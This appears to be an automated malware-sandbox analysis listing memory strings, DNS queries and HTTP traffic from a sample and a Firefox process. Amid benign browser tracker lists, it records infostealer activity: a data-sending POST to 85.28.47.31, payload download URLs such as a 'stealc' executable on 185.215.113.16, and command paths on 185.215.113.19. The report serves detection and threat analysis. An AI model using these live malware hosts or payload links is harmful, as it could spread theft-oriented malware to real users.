"*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: www.facebook.com
Source: global traffic DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic DNS traffic detected: DNS query: www.reddit.com
Source: global traffic DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic DNS traffic detected: DNS query: twitter.com
Source: unknown HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build"sila------BKJEHCAKFBGDGCAAAFBG--
Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exe00Start4pfncgndfolcbkdeeknbbbnhcc
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exeR_
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exein
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/stealc/random.exe395d
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/stealc/random.exe3oded
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/15.113.19/fac00b58987e8fcf7b8c730804042ba5ce902415450#N
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/15.113.19/fac00b58987e8fcf7b8c730804042ba5ce902415450#d9#
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/G
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php)
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php-5
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php00
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php5
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php9
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpEscape
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpI
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpP
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpY
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpcK2
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpf0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phph0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpj2
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpy
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/ViewSizePreferences.SourceAumid001G
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/user
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2385503598.000000000254E000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2478978413.000000000253E000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.00000000025AC000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/
Source: 659e6df34d.exe, 00000010.00000002.2479176591.00000000025AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/%
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000259B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php&
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php)
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php.exe
Source: file.exe, 00000000.00000002.2413355386.0000000028B17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php2
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php6/soka/random.exersA
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpJ
Source: 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpP
Source: file.exe, 00000000.00000002.2413355386.0000000028B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpV82
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpk
Source: file.exe, 00000000.00000002.2413355386.0000000028B17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phplegram
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpm
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php~
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllC
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllT
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dllG
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dllX
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dllz
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/Z#
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/l86
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://85.28.47.315499d72b3a3e55be.php.exe
Source: 659e6df34d.exe, 00000010.00000002.2478978413.000000000253E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31O
Source: 659e6df34d.exe, 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31S
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31h6
Source: file.exe, 00000000.00000002.2385503598.000000000254E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31ma
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjshttps://e.ma
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADERACTIVITY_SUBTYPE
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
